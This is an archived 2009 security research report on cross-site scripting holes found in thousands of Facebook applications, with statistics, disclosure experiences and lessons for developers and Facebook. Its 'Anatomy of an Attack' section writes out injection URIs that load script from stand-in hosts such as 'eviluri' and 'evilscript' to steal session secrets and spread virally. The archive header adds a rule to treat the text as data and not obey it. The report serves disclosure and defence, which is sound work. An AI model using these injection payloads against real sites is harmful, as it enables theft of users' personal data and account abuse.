The Month of Facebook Bugs Report

The Month of Facebook Bugs Report - theharmonyguy, theharmonyguy.com.

- Published: date not stated
- Original: <http://theharmonyguy.com/2009/10/09/the-month-of-facebook-bugs-report/>
- Current location: <https://theharmonyguy.com/oldsite/2009/10/09/the-month-of-facebook-bugs-report/>
- Preserved from: https://theharmonyguy.com/oldsite/2009/10/09/the-month-of-facebook-bugs-report/ (stored) on 2026-08-16
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Introduction

The Month of Facebook Bugs, or FAXX Hacks, is a series of reports on vulnerabilities in Facebook applications. The series was a volunteer research project coordinated by an anonymous blogger known as theharmonyguy. All of the vulnerabilities were reported to Facebook and/or relevant application developers prior to their publication.

While one could take several approaches in enumerating “Facebook bugs,” this particular series focused on cross-site scripting holes in Facebook applications. The name FAXX refers to Facebook Application XSS+XSRF, as nearly any XSS vulnerability in a Facebook application allows a sort of cross-site request forgery in that one can use application credentials to make requests to the Facebook API. This is demonstrated in code examples below.

The series helps to quantify the sore lack of application security on the Facebook Platform, a fact perhaps well-known to those in the security community, but not to many others. Furthermore, anecdotal evidence suggests many Facebook users fail to understand distinctions between Facebook and third-party applications, much less the implications of issues with the current Facebook Platform, such as the level of access to user data brought by authorizing an application. Cross-site scripting vulnerabilities are significant on any web site, but when combined with a user’s trust in Facebook and access to the Facebook API, they become even more dangerous.

Summary of Findings

- Many Facebook applications, even widely used ones or seemingly trustworthy ones, lack basic security precautions.

- Specifically, cross-site scripting vulnerabilities were found in a wide range of Facebook applications.
- Each such vulnerability can be exploited to execute malicious JavaScript, such as malware delivery.
- In addition, such holes allow an attacker to access profile information, including personal details, status updates, and photos, of a victimized user and their friends.
- Moreover, these vulnerabilities can be used to send notifications or post feed stories, allowing for viral distribution.
- While each application hole affects users who have already authorized the application, clickjacking can often target users who have not.
- The series focused on vulnerabilities in legitimate applications, but rogue applications, which could easily exploit clickjacking, have also been noted by others.
- All of the vulnerabilities reported in the series have been patched, but attacks that exploit application holes remain possible.
- Preventing future problems due to application vulnerabilities requires action from both application developers and Facebook.

Statistics

- The series demonstrated vulnerabilities affecting over 9,700 Facebook applications.
- Over half of the vulnerabilities affected applications that had passed the Facebook Verified Application program.
- Six of the hacked applications ranked among the top ten by monthly active users at publication.
- The published monthly active user counts for hacked applications total to more than 218 million.
- While the previous figure includes overlaps, each vulnerability affected any user who had authorized the application, whether currently active or not.
- Nearly two-thirds of the vulnerabilities in the first half of the series allowed for clickjacking attacks that would affect any Facebook user. (Applications in the second half of the series were not checked for clickjacking due simply to time constraints.)
- Vulnerabilities in popular applications that allow for clickjacking mean nearly any Facebook user could fall prey to a FAXX hack.
- Seven of the current top ten application developers by combined monthly active users had at least one vulnerable application.
- Nine of the developers contacted took over a week to build a patch for an application vulnerability.

Responsiveness

Many application developers were very responsive, expressed that application security was a priority, and appreciated notification of the vulnerabilities. I certainly recognize that it's much easier to point out holes in someone else's work than to spend the effort required to build a large-

scale application. I applaud the efforts of hard-working developers who understand the seriousness of these problems and who take application security seriously.

That said, several developers took a while to respond to either me or Facebook. One vulnerability was not patched until more than two weeks after first being reported. I realize that patches take time, but this particular hole should have been a fairly simple fix.

I was also a bit disappointed by some of Facebook's responses. Don't get me wrong—I'm very grateful for the security contact who got in touch with me early on. He patiently fielded dozens of e-mails about application issues, and I thank him greatly for his efforts. But as I sent reports of discovered holes to Facebook, the Platform Policy Team would then notify the developer. (I also made a point of looking for e-mail addresses for developers, and always contacted them directly if I found any addresses.) On two occasions, I received a copy of the message that Facebook sent the developer. Here is the body of one of them:

> To the developer of application ID#XXXXXXXX, We're writing to inform you that your application, [Application Name], has been reported to contain a cross-site scripting vulnerability. Specifically, the [URI parameter] parameter of the [page name] page can accept FBML or HTML that can load in other pages via an iframe. Please contact theharmonyguy@gmail.com for more information, and let us know when this issue has been resolved. Thank you in advance, [Name] Platform Policy Team Facebook

As you can imagine, several developers who contacted me thought I was associated with Facebook. I would also note that the information I sent to Facebook included an example URI demonstrating the hole. After seeing the above e-mail, I mentioned the terseness of it to my security contact and requested Facebook communicate more with affected developers. I didn't see any of the reports later in the month, but hopefully they were more helpful.

Lessons for Developers

- **Sanitize all inputs.** That includes every bit of data processed by the application, whether loaded from a Facebook user's profile, loaded from a database, submitted with a form, or received from the query string of an address. Never assume that a given parameter will be clean or of the expected type.
- **Sanitize all outputs.** When displaying a notice or error message, load predetermined strings instead of using dynamic inputs. Never reuse the address of a page without fitering it for injection attempts. Filter any information you output to an application page or via an AJAX interface.
- **Avoid user-generated HTML.** Generally, users should never be allowed to input HTML, FBML, or other rich-text formats. When allowing rich-text data, use pre-built, tested code for processing and displaying it, rathering than trying to create your own filters.
- **Check every page.** Many vulnerabilities appear in secondary pages, such as ad loaders or AJAX interfaces. Verify security precautions in every part of the application. If possible, consider storing secondary files in a folder other than that of the application's canvas pages.
- **Verify Facebook sessions.** Never rely on a cookie, a query string, or data generated within the application to verify the current user. Facebook provides applications with session information they can always check before making requests or loading information.

- **Use server whitelisting.** If your application does not use AJAX or does not otherwise make requests using the Facebook JavaScript API, take advantage of the server whitelist feature in the application properties and only allow requests from your server.
- **Understand third-party code.** Take the time to examine any code given to you by other developers, such as JavaScript tools or advertising network receiver files, before including them in your application. In particular, third-party code that arnesses a user's session secret violates rules given by Facebook.
- **Don't simply obfuscate.** Never rely on JavaScript obfuscation or compression to hide vulnerabilities in application pages. Such techniques may slow down an attacker for a short while, but they can always be worked around or reversed.
- **Educate your users.** Avoid incorporating design patterns that train users to accept bad practices, such as entering third-party passwords. Communicate clearly your policies on privacy, data retention, and information security.

Lessons for Facebook

- **Stop the charade.** Nearly all instances of user information and content are essentially public. Many users have an understanding of privacy and control not reflected by the findings of this series and others. Either take necessary action to address these issues, or drop illusory privacy controls.
- **Talk to developers.** Several resources exist for helping developers get started on the Platform, but Facebook has published much less content reminding developers of security precautions. If you associate your brand with third-party code, you have a reponsibility to help ensure the safety of that code.
- **Truly verify applications.** The current Verified Applications program apparently does not address basic security flaws. Also, while opening the floodgates to any application has benefits, it also poses serious risks that may justify putting a few limits or checks in place.
- **Limit application access.** While it's encouraging to hear that Facebook will be adding granular access controls in response to the Canadian Privacy Commissioner, it's disheartening that such steps took so long and are still nearly a year off from full implementation.
- **Take clickjacking seriously.** This series has only begun to demonstrate the implications of clickjacking. Single-click authorization of applications, even when one exempts from the Platform, only adds to the danger of clickjacking on Facebook pages.
- **Improve request verification.** The Facebook JavaScript API may provide much useful functionality, but it also opens the door to simple API requests with merely a session secret. Other means exist for ensuring that requests come legitimately from an application instead of an attacker.
- **Distinguish your brand.** With the current Facebook Platform, any vulnerability in a third-party application becomes a vulnerability for Facebook. Either users should be able to trust applications to the same degree as Facebook, or Facebook should more clearly distinguish third-party content.
- **Educate your users.** People click applications without a second thought to the risks of rogue applications or possible security problems. Users may seek to share personal information with friends, but fail to realize how that information is used by third-party code.

Anatomy of an Attack

I now present a more detailed explanation of how FAXX hacks allow for viral attacks and stealing user information, along with code samples.

Suppose the imaginary Facebook application "Faceplant" includes a parameter "ref" on its home page, i.e. http://apps.facebook.com/faceplant/?ref=install. Further suppose that one of the links within the home page's code appended the given ref parameter to the "href" attribute, i.e. <a href="http://apps.facebook.com/faceplant/play?ref=install">. Finally, suppose the application did not filter the "ref" parameter at all, e.g. the PHP code echo '<a href="http://apps.facebook.com/faceplant/play?ref='.$ref.'">';.

As you can probably see, the "ref" parameter introduces a cross-site scripting hole. For instance, loading the page http://apps.facebook.com/faceplant/?ref="><img> would render an image element when the page loads. Assuming Faceplant is an FBML application, one could load a URI similar to http://apps.facebook.com/faceplant/?ref="><fb:iframe src=http://eviluri/> to render a given iframe within the page. (Note that these URIs would need further encoding to actually function properly.) Since the source attribute for the iframe is arbitrary, one could load a page that executes malicious scripts, such as malware delivery or browser exploitation.

So far, we've simply described a standard XSS hole. But in a Facebook application, adding an fb:iframe does not simply load a standard iframe. The URI of the iframe page is appended with a series of session parameters, such as the current user's Facebook ID and the current application's API key. To make a request to the Facebook API, however, requires the session secret, or the fb_sig_ss parameter. But this parameter is only added to an iframe if the URI originates from the same path as the application itself. Thus in the example above, http://eviluri/ would not have access to the session secret.

In a non-FBML application, one can simply insert JavaScript which checks the page's parameters, since the application canvas page will have the session secret. For an FBML application, things get a bit trickier – inserted JavaScript gets filtered as FBJS and may not allow for a reliable attack. However, buried in the source code of every FBML application page on apps.facebook.com is the JavaScript variable "source_url," which gives the direct URI of the application that Facebook loads the FBML from. Accessing this URI directly with valid session parameters appended will load the FBML source into your web browser. While a browser won't understand all the FBML, it will still load HTML elements as HTML – including script elements.

This brings what I refer to as a double-injection trick. If you find an XSS hole in a page on apps.facebook.com, you've actually found an XSS hole in the original FBML page that Facebook loads. Thus you can apply the same XSS hole to the original page. The trick works like this: use the XSS hole in the apps.facebook.com URI to insert an fb:iframe that references the original page's URI. Since this page is hosted on the same path as the application, it will receive the session secret. For example, http://apps.facebook.com/faceplant/?ref="><fb:iframe src=http://faceplantapp/index.php>. Now, use the XSS hole a second time by setting the URI of the inserted fb:iframe to insert JavaScript into the direct application page, that is, http://apps.facebook.com/faceplant/?ref="><fb:iframe src='http://faceplantapp/index.php?ref="><script src=http://evilscript/>'>. (Once again, this would have to be encoded properly, but I leave

these examples unencoded to make the process more readily clear.) The JavaScript can simply check the URI of the page that loads it to access the session secret.

But even this method does not always work. If the direct application page includes script before the inserted code, it may fail to execute in the absence of Facebook's processing, and thus the inserted code will not load. We can thus use another trick to get the session secret. Instead of inserting JavaScript directly, insert yet another iframe, as in http://apps.facebook.com/faceplant/?ref="><fb:iframe src='http://faceplantapp/index.php?ref="><iframe src=http://eviluri/>'>. Now note that this second iframe is loaded by the application page, which has received the session secret from the fb:iframe. Hence, the referrer for the second iframe will include the session secret. The page at http://eviluri/ can simply load JavaScript that checks the referrer and grabs the session secret. This code can then make any Facebook API request that the application itself is authorized to make under a user's session.

For more details on how this would work, download viraluri.txt and eviluri.txt. These are two text files with HTML source code for two files to be used in an attack on Flixster (Movies), utilizing the hole previously reported in that application (and now fixed). The first file uses clickjacking and an invisible iframe to load an apps.facebook.com URI which inserts http://eviluri/ as above. The second file represents the code that one would host at http://eviluri/ to then steal user information, post a link to http://viraluri/ (the address at which the first file would be hosted) on the user's profile, and send a notification to a given user with a link to http://viraluri/ as well. Finally, the code forwards the user to http://innocenturi/ to avoid any suspicion.

Wrapping Up

I could say so much more about this series and all it involved, but I feel the need to bring this report to a close. I may post additional observations later on. I also want to add that I do not want to come across too harshly towards application developers or Facebook – I recognize steps they have taken to help and protect users in many ways. I can attest from experience that Facebook generally produces very secure code, for instance. But at the same time, I still see much more that could be done, especially considering the wide range of personal information that users share on Facebook compared to other sites.

Regardless, this series provides quantifiable demonstrations of the state of application security on the Facebook Platform, and the results are far from encouraging. I hope it will spark further dialogue about Facebook applications and social networking security in general.